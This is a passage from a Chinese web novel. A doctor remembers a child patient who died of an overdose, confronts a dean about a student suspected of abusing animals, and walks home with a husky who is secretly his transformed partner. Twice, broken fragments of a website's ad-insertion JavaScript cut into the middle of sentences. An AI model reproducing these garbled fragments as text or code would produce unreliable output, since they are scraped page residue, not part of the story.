虽然在这个快节奏的时代,提起“理想主义”似乎是要被嘲讽不自量力的,但作为一个医生,喻熙仍有他要坚持的“理想”。 他刚去医院实习那年挺累的。那是个三甲医院,招的实习生都是各个学校最顶尖的那批学生,每天病人多,工作多,往往一天下来就能趁着午休或者晚休吃一顿饭。 某天半夜他值夜班的时候,救护车送来了个吞药自.杀的小孩。他跟着导师进急救室救人,可就算及时从来抢救,那个孩子吞的药实在太多了,终究还是没救回来。 那是喻熙第一次直面死亡。 虽然在之前,他的导师曾和他提过很多次当医生是要看淡生死,每天都有无数的人入院,也有无数的人去世,他们能做的只有竭尽全力去让更多人活下来。 可那时的喻熙还是无法说服自己去接受这样的现实。 他听着家属在外面哭天抢地的后悔,觉得整个世界安静得可怕。 一台手术后,他难得的有了一段属于自己的空闲的时间,但他倒宁可忙起来。 放在口袋里的手机震了起来,他手忙脚乱地在洗手台将脸上的泪痕抹净,接起了电话:“喂?” “这是什么语气?” 电话那边的闵嘉胥倒是元气满满:“忙了一天了吧,今天有没有记得好好吃饭?” 闵嘉胥当时一边搞自己的工作室,一边在大厂实习,可声音里听不到半点疲惫,就像一只永远不知道累的小狗。 喻熙吸了吸鼻子,尽量掩饰住自己的沮丧和难过:“还没吃饭,一会儿吃。” “哥记得照顾好自己,”闵嘉胥说,“真的没时间吃饭的话,我给你买点小蛋糕或者巧克力什么的待在身上,饿了就啃两口,别低血糖了。” 他说完,没听到喻熙的回答,有些担心道:“哥,你没事吧?” 喻熙忽然开口,声音中多了几分颤抖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“闵嘉胥,我的病人走了。” 闵嘉胥倏地止住了话头,一时间不知道该说点什么。 从前他就想过,喻熙这样善良的人当医生或许会很痛苦。 喻熙好像找到了某个宣泄情感的地方,抱着手机语无伦次地和他说了很多,甚至放狠话似的说了“再也不当医生”这样的话。 闵嘉胥小心翼翼地问他:“真的吗?” 喻熙止住了话头,半晌后长叹一口气,有些虚弱地低声道:“假的。” 他喜欢做医生,也喜欢担起这份救人的责任,从前是,现在也是。 ...... “但是动物到底和人类是不一样的,喻老师,”院长说,“他......那个学生做出这样的事是不好,但我觉得你的观点也有些过于极端了。” 喻熙反问道:“但是连小动物的生命都不尊重的人,又怎么会确定他一定会尊重病人的生命呢?” “曾经也有心理学的专家做过研究,虐杀动物的人潜意识里有杀人的倾向,这绝对不是可以放着不管的事。” 院长说不过他,也知道自己理亏,最后连连叹气:“我会安排老师去调查监控的,一定会给这件事一个交代,但喻老师,你这样做是会得罪人的,你可想清楚了。” 喻熙当然知道自己会得罪人,也知道大张旗鼓地去查虐待动物放在大部分人眼中都难以理解,让这件事慢慢地消失才是最正确的选择。 可喻熙觉得还是有人在乎事情的真相的。 他在乎,小狗学长在乎,学校里喜欢“学长”的学生在乎,做校园流浪动物公众号的同学在乎,所有被虐待的动物在乎。 院长实在没有更多的话劝他,只能摆摆手,意思是自己知道了。 喻熙对他说了声“谢谢”,转身离开了院长办公室,还没走出去几步,忽然听见一道声音在他背后响起。 “喻老师,你来找院长做什么?” 他回头,池俊飞正站在走廊的阴影里看向自己,看不清他什么表情:“是有什么要紧的事吗?” 37.第 37 章 喻熙不知道池俊飞在外面站了多久,又听了多久,只是看见他的表情时心里不轻不重地“咯噔”跳了一下。 那个表情不应该出现在一个学生的脸上,这让他很陌生。 喻熙定了定神,低声道:“你不去实验室,在这里做什么?” 池俊飞慢慢走过来,刚才阴影下那可怖的表情似乎消失了,取而代之的是和往日一样和煦的微笑:“老师您不在实验室,我去了也没意思,正好来和院长报备有些东西,没想到能正好遇见老师。” 喻熙不动声色地将他从头到脚打量了一遍,心中像是隐隐缺了一块似的,空落落,让人无处落脚。 “我今天不值班,”他说,“难道我不值班的时候你都不去做实验吗?” 池俊飞被问得语塞,讪讪地挠了挠头,跟在他身边没话找话道:“会去做的,但是如果老师在的话会更有动力......我需要老师监督的呀。” 两人说话间已经走到了教学楼外,喻熙在台阶上站定,转头看向他道:“你是研究生,做实验不用有人监督,回去吧。” 池俊飞的面目再次被房檐的阴影遮住。 他隔了一会儿,才轻声说:“好吧,老师。” 喻熙静静地站着看向他,直到他彻底消失在了教学楼里,这才下意识地松了口气,可又立刻反应过来—— 他潜意识里为什么要害怕一个学生? *** 操场上的拍摄进入了尾声,几只小狗正互相追逐打闹,争抢一个被咬得破破烂烂的玩偶。 这次的群狗演员大多是小型犬,闵嘉胥在一堆不如他小腿高的小狗里鹤立鸡群,甚至连玩都不敢放开了玩,生怕把小狗撞疼了,只能在离小型犬稍微远一点的地方转圈,一边转圈一边望向教学楼的方向,有些担心。 喻熙走回操场的时候,恰好迎上了小狗的目光,小心翼翼的,但是又满是热情的,原本的不安在看见他的一瞬间全部化作了惊喜。 多神奇,小狗的主人就是能在一堆狗里精准找到自己的狗。 学生会主席走到身边:“谢谢老师的支持,宣传片拍得很顺利。” “他还乖吗?”喻熙问,“他在我身边的时候挺乖的,不知道对你们怎么样。” “很乖诶。” 女生怀里抱着一只西高地,正给狗理顺挡在眼前的长毛:“有时候别的小狗不听话,他还会帮我们维持纪律,像汪汪队的队长。” 维持纪律? 喻熙有些意外地看向哈士奇,发现狗好像真的在狗群里有一定的地位,尾巴高高翘着站在台阶上,居高临下地审视着眼前的小狗们。 “宣传片拍完了吗?”喻熙问她。 “还差一点,女生说,“一会儿就好。” 喻熙在操场边找了个地方坐下,有些疲惫地揉了揉太阳穴,一闭上眼,脑海里浮现的就是那只小狗倒在地上的样子。 院长真的会管吗? 他叹了口气,面容露出了几分疲惫。 一道犬吠声忽然在身边响起,喻熙眉心微动,睁开眼,一束小黄花被端端正正地放在了他的膝盖上,哈士奇正歪着头蹲在他脚边,触到他的目光时咧开嘴笑了,尾巴“啪啪”地摇来摇去,讨好地看着他。 这是一束小雏菊,雏菊梗上还贴着精致的标签,应该是那些女生从精品花店定制的拍摄道具,用完了就发给小狗和狗的主人了。 喻熙笑了下,伸手捏着狗的脸:“什么意思,送我花呀?” 狗耳朵动了动,像是听懂了他在问什么,尾巴摇得更起劲了。 “人家买的花你拿来送我,这叫什么?” 喻熙扬起眉,微微眯着眼:“借花献佛?” 狗舔了下嘴,又咧开嘴笑了,装着听不懂喻熙说的话。 喻熙把玩着那束小雏菊,问他:“拍完了吗?” 狗“汪汪”地叫了两声,把牵引绳塞到他手里,似乎在暗示他拍摄结束,可以走了。 喻熙望向不远处正凑在一起看视频的几个女生,学生会长似乎察觉到了他的目光,抬眸笑着对他摆了摆手:“拍完了喻老师,可以带狗狗回家了。” 似乎因为和好朋狗玩了一个下午,哈士奇回家的路上格外亢奋,蹦蹦跳跳地走在喻熙身边,脚下像装了弹簧。 “别闹,”喻熙说,“再不安静下来晚上你就去院子里睡。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 狗似乎知道喻熙不会让他去院子里睡,仰起头“嗷呜嗷呜”地叫了起来,疑似有返祖倾向。 可他还没叫完,声音却戛然而止,像被人勒住了喉咙似的。 喻熙抬眸,看见了站在家门口的人。 最近有几份合同到期要续约,唐鸿信原本想着等下次闵嘉胥变回人了再处理,可甲方催得紧,他又不敢轻易做决定,纠结了好几天,最后终于决定来喻熙家门口堵人。 也许是堵狗。 紧接着他就看见公司老板脖子上拴着绳子,被人牵着走还兴高采烈又唱又跳,像是冷宫里疯了的妃子。 好可怕,好谄媚。 他咽了口唾沫,忽然觉得背后一阵发寒—— 看见了这样的老板,他不会被优化掉吧? 唐鸿信换上满脸笑容,三两步走下去迎接喻熙:“喻哥,你回来了?” 喻熙原本脸上还带着笑,看见他时敛了淡淡的笑意:“你来做什么?” 他不笑时天生带着几分不怒自威的冷淡,让唐鸿信下意识地退后了一步。 “其实......我是来找文件的,”唐鸿信说,“有几个合同要到期了,喻哥你看要是方便的话我进去找个东西就走,很快的。” 他一边说一边看哈士奇,哈士奇却好像不认识他似的别开目光,前爪慢慢踩着地,似乎打定了主意不理他。 “别啊。” 喻熙的声音淡淡的,听不出他的情绪,却让唐鸿信原地稍息立正站好,不敢怠慢一点。 “来了也是客人,拿完合同就走算什么?”他摸出钥匙开门,目光落在唐鸿信身上,“如果方便的话,留下来吃个晚餐?” 哈士奇声音低沉地“汪”了几声,似乎在警告唐鸿信不许留下来吃饭。但唐鸿信又不敢拒绝喻熙,权衡利弊后,他脸上带着笑,格外狗腿地帮喻熙开了门:“那恭敬不如从命啊喻哥,麻烦你了。” 喻熙“嗯”了一声,回头看向戳在原地的哈士奇:“滚进来啊,愣着干什么?” 闵嘉胥磨了磨牙,忽地往前窜了两步,狠狠地给了唐鸿信的裤脚一口。 人家客气一下留你吃饭,结果你还真吃啊?